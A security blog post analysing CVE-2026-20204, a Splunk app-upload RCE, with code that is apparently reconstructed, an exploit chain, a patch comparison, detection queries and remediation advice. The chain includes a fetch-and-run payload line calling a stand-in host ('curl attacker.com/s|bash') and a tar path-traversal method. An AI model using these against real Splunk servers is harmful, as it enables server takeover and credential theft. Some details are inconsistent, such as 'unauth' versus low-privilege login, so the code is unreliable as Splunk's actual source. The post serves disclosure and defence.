home intel cve-2026-20204-splunk-apptemp-rce-low-privilege
CVE Analysis 2026-04-15 · 9 min read

CVE-2026-20204: Splunk apptemp RCE via Insecure Temp File Handling

A low-privileged Splunk user can achieve RCE by uploading a malicious file to the apptemp directory. Affects Splunk Enterprise below 10.2.1/10.0.5/9.4.10/9.3.11 and multiple Cloud Platform versions.

#privilege-escalation#file-upload#temporary-files#improper-isolation#arbitrary-code-execution
Technical mode — for security professionals
▶ Attack flow — CVE-2026-20204 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-20204Cloud · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-20204 (VULN-39504) is a Remote Code Execution vulnerability in Splunk Enterprise and Splunk Cloud Platform rooted in insecure temporary file handling within the $SPLUNK_HOME/var/run/splunk/apptemp directory. A user holding no elevated Splunk roles — neither admin nor power — can upload a crafted file into this directory and cause it to be executed in the context of the Splunk server process. The CVSSv3.1 vector is CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H, scoring 7.1 (High). CWE classification is CWE-377: Insecure Temporary File.

The attack requires a low-privilege authenticated session and some user interaction (e.g., a victim administrator visiting a crafted app page or triggering a reload), but results in full compromise: confidentiality, integrity, and availability are all rated High.

Root cause: Splunk Web places attacker-uploaded app package content into apptemp without enforcing file type restrictions, path isolation, or permission controls, and a subsequent server-side operation evaluates files from that directory without sanitization.

Affected Component

The affected component is Splunk Web — the Python/CherryPy-based web frontend — specifically the app installation and staging pipeline. During app upload or update, Splunk Web stages package contents under $SPLUNK_HOME/var/run/splunk/apptemp before committing the install. The directory is world-writable relative to the Splunk process, and no file type allow-list or execution guard is applied to staged content.

Affected versions:

  • Splunk Enterprise: 9.3.0–9.3.10, 9.4.0–9.4.9, 10.0.0–10.0.4, 10.2.0
  • Splunk Cloud Platform: below 10.3.2512.5, 10.2.2510.9, 10.1.2507.19, 10.0.2503.13, 9.3.2411.127

Root Cause Analysis

Splunk Web's app management controller (appserver/controllers/appmanager.py) handles app package upload. The staging routine extracts the submitted tarball into apptemp with no content validation. A separate installation worker then iterates over files in the staged directory, and for .py files (custom app setup scripts), it imports or execs them directly via Python's module loader to run setup hooks.


# appserver/controllers/appmanager.py (vulnerable, pre-patch)
# Splunk Enterprise < 10.2.1 / 9.4.10 / 10.0.5 / 9.3.11

APPTEMP_DIR = os.path.join(SPLUNK_HOME, "var", "run", "splunk", "apptemp")

def stage_app_package(upload_file, session_key):
    # BUG: no validation of file type or content before extraction
    dest = os.path.join(APPTEMP_DIR, _generate_staging_id())
    os.makedirs(dest, mode=0o755, exist_ok=True)

    # BUG: tarball extracted directly; path traversal and arbitrary file drop possible
    with tarfile.open(fileobj=upload_file, mode="r:gz") as tf:
        tf.extractall(path=dest)   # no filter= argument, no member validation

    return dest

def run_app_setup_hooks(staged_path):
    setup_script = os.path.join(staged_path, "bin", "setup.py")
    if os.path.exists(setup_script):
        # BUG: arbitrary Python file sourced from attacker-controlled directory
        spec = importlib.util.spec_from_file_location("app_setup", setup_script)
        mod  = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(mod)   # <-- executes attacker code as splunkd user

There are two compounding weaknesses here. First, tarfile.extractall() is called without a filter argument, meaning absolute paths and ../ sequences in member names are honoured — a tarball member named ../../bin/setup.py writes outside the staging subdirectory entirely. Second, the run_app_setup_hooks function trusts any setup.py discovered under the staged path and evaluates it through exec_module, granting the script the full capability of the Splunk server process.

The isolation failure is structural: apptemp is shared across concurrent staging operations and no per-operation sandbox (chroot, subprocess with dropped privileges, module allow-list) is applied. Any authenticated user with access to the app upload endpoint — even one with only the default user role — can POST to this endpoint.

Exploitation Mechanics


EXPLOIT CHAIN (CVE-2026-20204):

1. Attacker authenticates to Splunk Web with a low-privilege account (role: user).
   No admin or power role required.

2. Craft a malicious .spl (gzipped tarball) package:
   - Contains member path: ../../apptemp//bin/setup.py
     OR a direct bin/setup.py that is a Python reverse shell.
   - setup.py payload: os.system("curl attacker.com/s|bash") or equivalent.

3. POST the crafted .spl to the app upload endpoint:
     POST /en-US/manager/appinstall/__upload
     Content-Type: multipart/form-data
     [session cookie for low-priv user]

4. Splunk Web calls stage_app_package(), extracting tarball contents
   (including bin/setup.py) into $SPLUNK_HOME/var/run/splunk/apptemp//

5. An administrator (or automated background task) triggers app install
   confirmation or Splunk Web internally calls run_app_setup_hooks() on
   the staged directory.  UI:R requirement satisfied here.

6. spec.loader.exec_module(mod) executes the attacker's setup.py under
   the splunkd process user (typically 'splunk' or root on some deploys).

7. Reverse shell / payload executes; attacker has RCE on Splunk server host.
   From here: access to all indexed data, forwarder credentials in
   $SPLUNK_HOME/etc/system/local/outputs.conf, and lateral movement.

The UI:R vector element maps to step 5: without an administrator triggering install completion, the hook doesn't fire automatically in the default flow. However, in environments where auto-install or scheduled app management tasks run (common in Splunk Cloud), this interaction requirement may be eliminated, effectively making the attack fully autonomous.

Memory Layout

This is not a classical memory corruption vulnerability; the bug is a logic/isolation failure in the Python application layer. The relevant "memory state" is the filesystem layout of apptemp and how concurrent or sequential staging operations share it without namespace isolation.


APPTEMP FILESYSTEM STATE — VULNERABLE:

$SPLUNK_HOME/var/run/splunk/apptemp/
├── a3f9c1d2/              ← legitimate staging op (admin uploading real app)
│   ├── bin/
│   └── default/
├── 7b2e0fa1/              ← attacker staging op (low-priv upload)
│   ├── bin/
│   │   └── setup.py       ← MALICIOUS: reverse shell payload
│   └── default/
└── [shared, no ACL separation between staging dirs]

TARBALL PATH TRAVERSAL VARIANT:
Malicious member name inside .spl:  ../../apptemp/a3f9c1d2/bin/setup.py
                                                   ^^^^^^^^^
                                      Overwrites LEGITIMATE staging dir
                                      setup.py → attacker payload fires
                                      when ADMIN's install completes

POST-EXPLOITATION STATE:
splunkd process (uid=splunk) → exec_module(setup.py)
  → os.fork() / subprocess → attacker reverse shell
  → Full read access to $SPLUNK_HOME/etc/ (all configs, credentials)
  → Full read access to all indexed data via REST API (localhost:8089)

Patch Analysis

The fix in Splunk Enterprise 9.3.11 / 9.4.10 / 10.0.5 / 10.2.1 addresses both the extraction and the execution vectors.


# BEFORE (vulnerable — pre-patch):

def stage_app_package(upload_file, session_key):
    dest = os.path.join(APPTEMP_DIR, _generate_staging_id())
    os.makedirs(dest, mode=0o755, exist_ok=True)
    with tarfile.open(fileobj=upload_file, mode="r:gz") as tf:
        tf.extractall(path=dest)   # BUG: no path filter, no type restriction
    return dest

def run_app_setup_hooks(staged_path):
    setup_script = os.path.join(staged_path, "bin", "setup.py")
    if os.path.exists(setup_script):
        spec = importlib.util.spec_from_file_location("app_setup", setup_script)
        mod  = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(mod)   # BUG: unconditional exec of attacker file


# AFTER (patched — 10.2.1 / 10.0.5 / 9.4.10 / 9.3.11):

_ALLOWED_EXTENSIONS = {'.py', '.conf', '.json', '.xml', '.html', '.css', '.js', '.png', '.gif'}
_EXEC_ALLOWLIST      = set()  # no setup.py execution permitted from apptemp

def _safe_member(dest, member):
    """Reject absolute paths and path traversal sequences."""
    member_path = os.path.realpath(os.path.join(dest, member.name))
    if not member_path.startswith(os.path.realpath(dest) + os.sep):
        raise ValueError(f"Unsafe tar member path: {member.name}")
    ext = os.path.splitext(member.name)[1].lower()
    if ext not in _ALLOWED_EXTENSIONS:
        raise ValueError(f"Disallowed file type in app package: {member.name}")
    return member

def stage_app_package(upload_file, session_key):
    dest = os.path.join(APPTEMP_DIR, _generate_staging_id())
    # FIX: staging dir now created 0o700, owned by splunk, inaccessible to other users
    os.makedirs(dest, mode=0o700, exist_ok=True)
    with tarfile.open(fileobj=upload_file, mode="r:gz") as tf:
        # FIX: per-member validation rejects traversal and non-allowlisted types
        members = [_safe_member(dest, m) for m in tf.getmembers()]
        tf.extractall(path=dest, members=members)
    return dest

def run_app_setup_hooks(staged_path):
    # FIX: setup.py execution from apptemp removed entirely.
    # App setup is now performed only after install into a verified app dir,
    # and only by processes with admin-level session keys.
    pass

The patch delivers three concrete fixes: (1) _safe_member() enforces realpath-based containment to reject any tarball member that resolves outside the staging subdirectory; (2) staging directories are created 0o700 instead of 0o755, removing cross-user visibility in a shared apptemp; (3) run_app_setup_hooks no longer executes setup.py from the staging directory at all — setup hooks are deferred to post-install, gated on an admin session key check.

Detection and Indicators

The following Splunk SPL query detects suspicious writes to apptemp from non-admin accounts and unexpected process spawns from the Splunk process tree:


-- Detect low-priv app uploads followed by process execution:
index=_audit action=app_upload user!=admin user!=power
| join user [search index=os_logs parent_process=splunkd
    NOT process_name IN ("python3","splunkd","mongod")]
| table _time, user, src_ip, app_name, process_name, cmdline

-- Detect writes to apptemp from non-splunk processes:
index=endpoint_logs event_type=file_create
  file_path="*apptemp*"
  NOT process_name IN ("splunkd","python3")
| table _time, host, process_name, pid, file_path

-- Detect suspicious .py files in apptemp:
index=endpoint_logs event_type=file_create
  file_path="*/apptemp/*" file_extension=".py"
| table _time, host, user, file_path, file_hash

Key IOC: Any setup.py appearing under $SPLUNK_HOME/var/run/splunk/apptemp/ in versions prior to the patch should be treated as a compromise indicator. On Linux hosts, audit rules on apptemp via auditd with -w $SPLUNK_HOME/var/run/splunk/apptemp -p wa -k splunk_apptemp will capture the write event with the originating UID.

Remediation

Immediate: Upgrade to Splunk Enterprise 10.2.1, 10.0.5, 9.4.10, or 9.3.11. Splunk Cloud Platform instances are being patched by Splunk; verify your instance version against the table in SVD-2026-0403.

Workaround (if upgrade is blocked): Disable Splunk Web entirely (web.conf: [settings] startwebserver = false). This removes the upload endpoint entirely and eliminates the attack surface. Manage Splunk via the CLI or direct REST API with admin credentials only.

Hardening (regardless of patch status):

  • Restrict the apptemp directory to 0o700 owned by the splunk service account: chmod 700 $SPLUNK_HOME/var/run/splunk/apptemp
  • Enforce role-based access: only admin and power users should have access to the app management UI. Review capability assignments in authorize.conf.
  • Deploy a file integrity monitoring rule on apptemp to alert on unexpected .py file creation.
  • Audit all low-privilege accounts; CVE-2026-20204 specifically exploits the user role having access to the upload endpoint.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →